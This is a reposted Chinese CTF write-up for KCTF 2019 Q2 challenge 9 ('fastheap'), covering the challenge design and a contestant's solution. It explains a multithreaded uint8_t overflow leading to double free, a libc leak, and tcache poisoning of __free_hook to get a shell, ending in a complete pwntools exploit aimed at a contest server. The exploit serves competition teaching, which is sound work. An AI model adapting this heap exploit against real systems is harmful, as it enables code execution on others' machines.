看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

栏目: C · 发布时间: 4年前

内容简介:比赛刺激瞬间似乎犹在眼前,蓦然回望,才发现我们一起相伴走过了如此漫长的一段精彩旅途。不知不觉,我们看雪纽盾KCTF第二赛段的赛题解析也已经接近尾声。庸人无一用,图有空凭栏。英雄志气满,绝地也逃生。今天我们一起来看下第九题,看看勇士们如何冲破枷锁,绝地逃生~题目背景:

比赛刺激瞬间似乎犹在眼前,蓦然回望,才发现我们一起相伴走过了如此漫长的一段精彩旅途。不知不觉,我们看雪纽盾KCTF第二赛段的赛题解析也已经接近尾声。

庸人无一用,图有空凭栏。英雄志气满,绝地也逃生。今天我们一起来看下第九题,看看勇士们如何冲破枷锁,绝地逃生~

题目简介

题目背景:

外星人的攻击速度远远超过想象。他们的魔爪已经伸向了南极。

一片白色的荒原,没有绿色的草地,没有怒放的花朵,只有白皑皑的雪山和随时可能裂开的冰面。没有什么比一个人站在这里更令人绝望了。

能量宝石位于南极的最高峰——文森峰。这里山势险峻,且大部分终年被冰雪覆盖,交通困难,被称为“死亡地带”。

前有恶劣的环境,后有外星人的攻击。怎么样能够绝地逃生呢?就看你的了!

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

本题共有1683人围观,截至比赛结束只有12人攻破此题。纵观全局,这道题还是很有难度的。

攻破此题的战队一览:

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

接下来我们来对题目进行详细解析

看雪评委crownless点评

这道题目关键点在于多线程所导致的uint8_t类型的整型溢出,进而导致double free。 然后构造UAF泄漏Libc地址,再poison tcache写__free_hook可getshell。

出题团队简介

本题出题战队  2019 

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

计算机系学生,刚刚毕业,即将前往盘古实验室做安全研究。Pwn爱好者,对学术界的前沿安全相关研究很感兴趣,虽然目前还是蔡鸡一只。

设计思路

0x00 概要

题目实现了一个多线程free的功能,这道题目关键点在于多线程所导致的uint8_t类型的整型溢出,进而导致double free。然后构造UAF泄漏Libc地址,再poison tcache写__free_hook可getshell。

0x01 漏洞点

这题比上次那题还要简单,灵感来源于上architecture课教授slides里面的一个pseudocode,大概长这样:

if (myThreadId() == 0)
 i = 0;
barrier();
// on each thread
while (true)
{
 local_i = FetchAndAdd(&i);
 if (local_i >= N) break; //integer overflow
 C[local_i] = 0.5*(A[local_i] + B[local_i]);
}
barrier();

然后我就在想这个如果FetchAndAdd函数能导致整型溢出的话,是否可以导致可利用的漏洞,于是就有了我这道题。

然后漏洞点在这里,代码跟上面的伪代码很像,只不过一些无关的东西删掉了。

void* free_thread(void* varg) {
 thread_arg* arg = (thread_arg*)varg;
 uint8_t* i = &arg->iter;
 volatile size_t idx;
 while(true)
 {
 idx = __sync_fetch_and_add(i, 1);
 if (idx >= arg->bound) //整型溢出
 break;
 if (data[idx])
 free(data[idx]);
 else
 exit(-1);
 }
 return NULL;
}

当bound的值很大的时候,比方说,删除范围254-255的时候,如果有两个线程,线程1free了data[254],线程2255 >= 255所以退出,而线程1这个时候__sync_fetch_and_add溢出到0,这个时候会把0到254的所有elements又free了一次,等于导致了double free。

0x02 利用

这里我稍微增加了一下难度,就是如果有空指针就会退出,所以得先把那些项都占满。

然后注意,在线程中freechunk时会加到那个线程自己的tcache,然后线程退出时这些chunks会被放回fastbin或者unsortedbin而不是主线程的tcache。所以把index 0设置为unsortedbin大小可以直接leak libc的地址。

然后因为所有indeces都被占满了,这样就没有能用的index可以做poison了,所以得先把他们clear掉,但是在那之前得把最顶上的chunk(这时是index 1)先拿出来(所以data[254]==data[1]),方便到时候做poison利用。

然后用fastbin dup把0x70的fastbin污染了,创造出这种情况a -> b -> a,但这个时候tcache也是满的,这个时候malloc 4个tcache可以创造出这种情况a -> b -> &__free_hook,然后就可以写free hook执行system了。

不过有一点要注意,因为多线程,难免会有条件竞争,所以成功率并不是100%,不过也不低就是了。

环境:

libc2.27,md5=50390b2ae8aaa73c47745040f54e602f

解题思路

本题解题思路由看雪论坛   X3h1n   提供:

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

题目描述

这道题目也是传统的菜单题目,有三个功能,add、fast free和show功能。 libc是2.27,有tcache。

$ ./fastheap
1. malloc
2. fast free
3. puts
4. exit
>>>

其中malloc功能虽然对堆块的数量没有明确的限制,但是因为堆块的索引是unsigned __int8类型,因此堆块的所以范围为0-255,因此最多可以申请256个堆块。

size的类型同样也是unsigned __int8类型,因此输入的size最大为0xff,堆块大小最大为0x110。 在bss段有一个全局的heap_list保存堆块的地址。 接受用户输入的read函数很严格,没有常见的off-by-one的漏洞。

signed __int64 add() {
 __int64 idx; // rbx
 size_t size; // rbp
 signed __int64 result; // rax
 unsigned __int64 v3; // rt1
 unsigned __int64 v4; // [rsp+8h] [rbp-20h]
 
 v4 = __readfsqword(0x28u);
 _printf_chk(1LL, "Index: ");
 idx = (unsigned __int8)my_atoi();
 if ( heap_list[idx] )
 exit(-1);
 _printf_chk(1LL, "Size: ");
 size = (unsigned __int8)my_atoi();
 heap_list[idx] = check(size);
 _printf_chk(1LL, "Contents: ");
 if ( !size )
 return __readfsqword(0x28u) ^ v4;
 v3 = __readfsqword(0x28u);
 result = v3 ^ v4;
 if ( v3 == v4 )
 result = my_read(heap_list[idx], size);
 return result;
}

fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。

在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。 start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置。

在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++, v2是start_index的初始值,只有当原始的start_index < end_index时,才进行堆块的释放。

因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。

void *__fastcall start_routine(void *a1) {
 unsigned __int64 v2; // [rsp+0h] [rbp-28h]
 
 while ( 1 )
 {
 v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)a1 + 8, 1u);
 if ( *(_QWORD *)a1 <= v2 )
 break;
 if ( !heap_list[v2] )
 exit(-1);
 free((void *)heap_list[v2]);
 }
 return 0LL;
}

汇编代码如下:

.text:0000000000000C6F loc_C6F: ; CODE XREF: start_routine+1D↑j
.text:0000000000000C6F mov eax, 1
.text:0000000000000C74 lock xadd [rbx], al //交换操作数,相加,start_index++
.text:0000000000000C78 movzx eax, al
.text:0000000000000C7B mov [rsp+28h+var_28], rax
.text:0000000000000C7F mov rax, [rsp+28h+var_28]
.text:0000000000000C83 cmp [rbp+0], rax //比较end_index和未加1的start_index
.text:0000000000000C87 ja short loc_C50 //当start_index < end_index时才进行free
.text:0000000000000C89 xor eax, eax
.text:0000000000000C8B mov rcx, [rsp+28h+var_20]
.text:0000000000000C90 xor rcx, fs:28h
.text:0000000000000C99 jnz short loc_CAC
.text:0000000000000C9B add rsp, 18h
.text:0000000000000C9F pop rbx
.text:0000000000000CA0 pop rbp
.text:0000000000000CA1 retn

这样保证只有一个线程会释放指定的堆块。 不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...) show函数会判断对应的heap_list是否非空,不能UAF。

线程堆

这里涉及到了线程堆的知识,第一次遇到这种题目,这次还是主进程分配,线程释放堆块。 ptmalloc使用mmap()函数为线程创建自己的非主分配区来模拟堆(sub_heap),当该sub_heap用完之后,会再使用mmap()分配一块新的内存块作为sub_heap。

当进程中有多个线程时,一定也有多个分配区,但是每个分配区都有可能被多个线程使用。 具体关于线程堆的知识可以看参考里的博客。

另外这道题目有一个至今没有明白的点,当线程释放完指定堆块还没有退出时,堆块是进入了进程的tcache,但是当线程退出后,这个堆块就进入了主进程的对应的fastbin。

比如,申请一个0x70和0x30的堆块,释放idx0,释放之前堆块的状态:

gdb-peda$ parseheap
addr prev size status fd bk
0x55c118339000 0x0 0x250 Used None None
0x55c118339250 0x0 0x70 Used None None
0x55c1183392c0 0x0 0x30 Used None None

释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

线程退出后,该堆块在fastbin中:

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。 希望可以看其他大佬的wp学习一波。

利用过程

由于有tcache,只要能构造出double free,由于tcache在分配时没有对tcache链中的chunk进行size的检查,所以就可以fd指向malloc_hook或free_hook。

但这道题目对heap_list进行了清空,不能double free。 但是感觉线程这里肯定有问题,在和队友的多次尝试后发现创建多个堆块,然后都释放掉,竟然出现了double free:

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

for i in range(250):
 add(i,0x60,'aaaa\n')
delete(0,250,8)

出现了double free应该就能利用了吧,但是还缺少libc。 本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。 这...利用条件都具备了,直接show(1)就可以泄露libc。

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')
 
for i in range(250):
 add(i+2,0x60,'aaaa\n')
delete(2,252,7)

但是当试图再次申请tcache里的这250个堆块时,发现只要申请到第248个堆块时,bins的分布如下:

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
 top: 0x55555575e8b0 (size : 0x19750)
 last_remainder: 0x0 (size : 0x0)
 unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

再试图分配第249个块时,就直接越过了fastbin里的前5个chunk,去分配0xfff785c410000000这个堆块,前5个堆块进入了tcache:

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
 top: 0x55555575e8b0 (size : 0x19750)
 last_remainder: 0x0 (size : 0x0)
 unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](4): 0x7ffff7bb0c1d --> 0x555555757380 --> 0x555555757620 --> 0x555555757690
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

没法利用这250个堆块的double free,但是可以利用前2个堆块未释放就进入unsorted bin的状态进行double free。

首先申请两个堆块和250个堆块,释放250个,起7个线程,idx0进入fastbin中,idx1进入unsortedbin中。 show(1)泄露libc。

add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')
 
for i in range(250):
 add(i+2,0x60,'aaaa\n')
delete(2,252,7)
 
#gdb.attach(p)
show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x4f322
system_addr = libc_base + libc.symbols["system"]

此时bins的分布如下:

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x555555757370 --> ...-> 0x555555757370 (overlap chunk with 0x555555757370(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
 top: 0x55555575e8b0 (size : 0x19750)
 last_remainder: 0x0 (size : 0x0)
 unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

当再次分配0x60的堆块时,会先从unsorted bin中取出堆块,再从fastbin中分配,idx0和idx2的地址相同,可以进行double free。

add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')

查看heap_list如下:

gdb-peda$ x /8gx 0x0000555555554000+0x202060
0x555555756060: 0x0000555555757260 0x00005555557572d0
0x555555756070: 0x0000555555757260 0x000055555575e070
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000

后面就是double free,但是在double free时,tcache 0x70中又出现了6个堆块,就很神奇,要先把tcache清空之后才能分配fastbin里的堆块。

delete(0,1,1)
delete(3,4,1)
delete(2,3,1)

tcache 0x70中有6个堆块:

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x55555575e060 --> 0x555555757250 (overlap chunk with 0x555555757250(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
 top: 0x55555575e8b0 (size : 0x19750)
 last_remainder: 0x0 (size : 0x0)
 unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](6): 0x5555557575b0 --> 0x555555757540 --> 0x5555557574d0 --> 0x555555757460 --> 0x5555557573f0 --> 0x555555757380
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

最后修改free_hook为system,释放一个写有"/bin/sh\x00"的块,这里再修改地址完成之后,是手动输入进行堆块idx11的删除触发system("/bin/sh")的,最后get shell。

因为在tcache清空之后,fastbin的堆块进入了tcache中,因此free_hook才能避过fastbin中size的检查,分配并修改成功。

完整exp如下:

from pwn import *
 
 
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]
 
DEBUG = 0
 
if DEBUG:
 p = process("./fastheap")
 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
else:
 p = remote("152.136.18.34",10000)
 libc = ELF("./libc-2.27.so")
 
 
def add(idx,size,content):
 p.recvuntil(">>> ")
 p.sendline('1')
 p.recvuntil("Index: ")
 p.sendline(str(idx))
 p.recvuntil("Size: ")
 p.sendline(str(size))
 p.recvuntil("Contents: ")
 p.send(content)
 
 
def delete(start,end,worker):
 p.recvuntil(">>> ")
 p.sendline('2')
 p.recvuntil("Index range: ")
 p.sendline(str(start)+'-'+str(end))
 p.recvuntil("Number of workers: ")
 p.sendline(str(worker))
 
def show(idx):
 p.recvuntil(">>> ")
 p.sendline('3')
 p.recvuntil("Index: ")
 p.sendline(str(idx))
 
 
 
add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')
 
for i in range(250):
 add(i+2,0x60,'aaaa\n')
delete(2,252,7)
 
 
#gdb.attach(p)
 
show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x4f322
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
 
add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')
 
##double free
delete(0,1,1)
delete(3,4,1)
delete(2,3,1)
 
##empty tcache
for i in range(6):
 add(i+2,0x60,p64(malloc_hook-0x23)+'\n')
 
##free_hook->system
add(9,0x60,p64(free_hook)+'\n')
add(10,0x60,p64(free_hook)+'\n')
add(11,0x60,"/bin/sh\x00"+'\n')
add(12,0x60,p64(system_addr))
 
##manual trigger
delete(11,12,1)
 
p.interactive()

目前对线程的知识了解有限,还在恶补当中,这篇wp只是记录了做题的过程,感觉这道题有太多神奇的地方,做出这道题也是凭运气好,希望大佬们指点。

END

1、 【英雄榜单】看雪.纽盾 KCTF 晋级赛Q2 排行榜出炉!

2、 看雪.纽盾 KCTF 2019 Q2 | 第一题点评及解题思路

3、看雪.纽盾 KCTF 2019 Q2 | 第二题点评及解题思路

4、 看雪.纽盾 KCTF 2019 Q2 | 第三题点评及解题思路

5、 看雪.纽盾 KCTF 2019 Q2 | 第四题点评及解题思路

6、 看雪.纽盾 KCTF 2019 Q2 | 第五题点评及解题思路

7、 看雪.纽盾 KCTF 2019 Q2 | 第六题点评及解题思路

8、 看雪.纽盾 KCTF 2019 Q2 | 第七题点评及解题思路

9、 看雪.纽盾 KCTF 2019 Q2 | 第八题点评及解题思路

主办方

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

看雪学院(www.kanxue.com)是一个专注于PC、移动、智能设备安全研究及逆向工程的开发者社区!创建于2000年,历经19年的发展,受到业内的广泛认同,在行业中树立了令人尊敬的专业形象。平台为会员提供安全知识的在线课程教学,同时为企业提供智能设备安全相关产品和服务。 

合作伙伴

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

上海纽盾科技股份有限公司( www.newdon.net )成立于2009年,是一家以“网络安全”为主轴,以“科技源自生活,纽盾服务社会”为核心经营理念,以网络安全产品的研发、生产、销售、售后服务与相关安全服务为一体的专业安全公司,致力于为数字化时代背景下的用户提供安全产品、安全服务以及等级保护等安全解决方案。

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

10大议题正式公布!第三届看雪安全开发者峰会重磅来袭!

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路 小手一戳,了解更多

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

看雪.纽盾 KCTF 2019 Q2 | 第九题点评及解题思路

戳原文,查看更多精彩writeup!


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

罗辑思维:迷茫时代的明白人

罗辑思维:迷茫时代的明白人

罗振宇 / 北京联合出版公司 / 2015-9 / 42

编辑推荐 1、 罗振宇,自媒体视频脱口秀《罗辑思维》主讲人,互联网知识型社群试水者,资深媒体人和传播专家。曾任CCTV《经济与法》《对话》制片人等。2012年底打造知识型视频脱口秀《罗辑思维》。半年内,由一款互联网自媒体视频产品,逐渐延伸成长为全新的互联网社群品牌。 他对商业和互联网的独到见解,影响了互联网一代的知识结构和对互联网的认识:人类正在从工业化时代进入互联网时代。新的时代将彻......一起来看看 《罗辑思维:迷茫时代的明白人》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

随机密码生成器
随机密码生成器

多种字符组合密码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具